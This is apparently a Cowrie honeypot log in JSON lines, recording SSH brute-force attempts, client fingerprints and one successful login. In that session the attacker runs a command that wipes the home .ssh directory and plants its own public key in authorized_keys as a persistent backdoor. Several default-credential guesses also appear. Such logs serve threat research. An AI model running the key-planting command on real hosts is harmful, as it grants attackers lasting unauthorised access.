{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:15.304144Z","src_ip":"36.92.41.115","session":"c1bb7bc713f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"225588","message":"login attempt [root/225588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:16.381667Z","src_ip":"36.92.41.115","session":"c1bb7bc713f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:17.658119Z","src_ip":"36.92.41.115","session":"c1bb7bc713f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":41968,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5a51beb7a9","protocol":"ssh","message":"New connection: 163.7.9.84:41968 (10.17.0.5:22) [session: de5a51beb7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:29.868203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:29.872391Z","src_ip":"163.7.9.84","session":"de5a51beb7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42316,"dst_ip":"159.203.135.109","dst_port":23,"session":"cec8c609e27f","protocol":"telnet","message":"New connection: 172.81.62.90:42316 (159.203.135.109:23) [session: cec8c609e27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:29.876388Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:30.129406Z","src_ip":"163.7.9.84","session":"de5a51beb7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty00","message":"login attempt [root/qwerty00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:31.223988Z","src_ip":"163.7.9.84","session":"de5a51beb7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:32.483238Z","src_ip":"163.7.9.84","session":"de5a51beb7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":44680,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef9313d855e0","protocol":"ssh","message":"New connection: 177.85.247.230:44680 (10.17.0.5:22) [session: ef9313d855e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:32.582638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:32.586540Z","src_ip":"177.85.247.230","session":"ef9313d855e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:32.689202Z","src_ip":"177.85.247.230","session":"ef9313d855e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"225588","message":"login attempt [root/225588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:33.142403Z","src_ip":"177.85.247.230","session":"ef9313d855e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:34.248637Z","src_ip":"177.85.247.230","session":"ef9313d855e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34254,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ff064cfbe4d","protocol":"ssh","message":"New connection: 51.250.105.222:34254 (10.17.0.5:22) [session: 9ff064cfbe4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:53.132079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:53.137451Z","src_ip":"51.250.105.222","session":"9ff064cfbe4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:53.268900Z","src_ip":"51.250.105.222","session":"9ff064cfbe4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:53.667992Z","src_ip":"51.250.105.222","session":"9ff064cfbe4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:35:54.800626Z","src_ip":"51.250.105.222","session":"9ff064cfbe4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":54360,"dst_ip":"10.17.0.5","dst_port":22,"session":"6516d2ff0ebe","protocol":"ssh","message":"New connection: 181.188.176.242:54360 (10.17.0.5:22) [session: 6516d2ff0ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:04.948138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:04.953300Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:05.118678Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"159159","message":"login attempt [steam/159159] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:05.820552Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.117040157318115,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:05.993309Z","src_ip":"172.81.62.90","session":"cec8c609e27f","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:06.206329Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:06.209654Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:06.214029Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:06.546057Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:06.790483Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:06.795043Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:06.967984Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:06.971251Z","src_ip":"181.188.176.242","session":"6516d2ff0ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":54372,"dst_ip":"10.17.0.5","dst_port":22,"session":"86221daf879b","protocol":"ssh","message":"New connection: 181.188.176.242:54372 (10.17.0.5:22) [session: 86221daf879b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:07.136573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:07.140743Z","src_ip":"181.188.176.242","session":"86221daf879b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:07.307075Z","src_ip":"181.188.176.242","session":"86221daf879b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:08.006962Z","src_ip":"181.188.176.242","session":"86221daf879b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:09.189046Z","src_ip":"181.188.176.242","session":"86221daf879b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":54382,"dst_ip":"10.17.0.5","dst_port":22,"session":"4543b401b953","protocol":"ssh","message":"New connection: 181.188.176.242:54382 (10.17.0.5:22) [session: 4543b401b953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:09.334186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:09.338413Z","src_ip":"181.188.176.242","session":"4543b401b953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:09.503803Z","src_ip":"181.188.176.242","session":"4543b401b953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":43778,"dst_ip":"10.17.0.5","dst_port":22,"session":"995709458850","protocol":"ssh","message":"New connection: 45.78.204.254:43778 (10.17.0.5:22) [session: 995709458850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:09.782119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:09.788728Z","src_ip":"45.78.204.254","session":"995709458850","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:36:10.190916Z","src_ip":"181.188.176.242","session":"4543b401b953","protocol":"ssh"}
